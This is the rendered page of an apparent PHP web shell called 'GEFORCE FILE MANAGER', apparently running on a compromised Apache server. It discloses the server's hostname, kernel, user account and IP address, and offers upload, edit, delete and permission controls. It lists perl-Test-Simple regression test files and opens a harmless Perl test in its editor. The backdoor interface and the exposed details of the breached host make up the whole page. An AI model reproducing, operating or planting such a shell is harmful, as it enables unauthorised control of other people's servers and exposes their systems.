[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
perl-Test-Simple
/
t
/
Legacy
/
Regression
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 637.t
1,260 B
SET
[ EDIT ]
|
[ DEL ]
📄 683_thread_todo.t
428 B
SET
[ EDIT ]
|
[ DEL ]
📄 6_cmp_ok.t
265 B
SET
[ EDIT ]
|
[ DEL ]
📄 736_use_ok.t
782 B
SET
[ EDIT ]
|
[ DEL ]
📄 789-read-only.t
672 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: 789-read-only.t
use Test::More; use strict; use warnings; # HARNESS-NO-STREAM # See https://github.com/Test-More/test-more/issues/789 BEGIN { plan skip_all => 'AUTHOR_TESTING not enabled' unless $ENV{AUTHOR_TESTING}; plan skip_all => "This test requires Test::Class" unless eval { require Test::Class; 1 }; plan skip_all => "This test requires Test::Script" unless eval { require Test::Script; 1 }; } package Test; use base 'Test::Class'; use Test::More; use Test::Script; sub a_compilation_test : Test(startup => 1) { script_compiles(__FILE__); } sub test : Test(1) { ok(1); } package main; use Test::Class; Test::Class->runtests;